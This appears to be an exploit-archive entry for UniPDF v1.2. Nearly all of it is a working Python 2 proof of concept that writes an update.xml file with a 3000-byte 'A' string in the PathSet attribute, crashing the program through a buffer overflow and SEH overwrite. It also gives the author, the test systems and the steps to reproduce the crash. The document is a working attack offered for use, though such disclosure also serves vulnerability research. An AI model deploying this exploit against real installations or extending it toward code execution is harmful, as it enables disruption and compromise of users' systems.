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UniPDF Version 1.2 - 'xml' Buffer Overflow Crash PoC
# Exploit Title: UniPDF v1.2 BufferOverflow, SEH overwrite DoS PoC # Author : Avinash Kumar Thapa "-Acid" # Date of Testing : 25th April 2015 # Tested On : Windows XP- Service Pack 3 && Windows 7 Home Basic # Vendor Homepage: http://unipdf.com/ # Software Link: http://unipdf.com/file/unipdf-setup.exe # Steps to reproduce the Crash is: # Step 1: Run the POC # Step 2: Go to local Disk C:\Program Files\UniPDF and copy the POC there # Step 3 : Run the UniPdf.exe buff2 = "\x41" * 3000 crash = " <config>\n" crash += " <UserDefine>\n" crash += "<Language ID=\"0\" />\n" crash += "<Path PathSet=\""+buff2+"\" Path=\"\" />\n" crash += "<ImageFormat set=\"2\" />\n" crash += "<Res set=\"96\" />\n" crash += "<bit set=\"24\" />\n" crash += "<Prefix set=\"\" />\n" crash += "<Doc set=\"1\" />\n" crash += "<Help set=\"1\" />\n" crash += "</UserDefine>\n" crash += "</config>\n" print "POC Created By -Acid" print " acid.exploit@gmail.com" file = open("update.xml","w") file.write(crash) file.close() # 0day.today [2024-12-24] #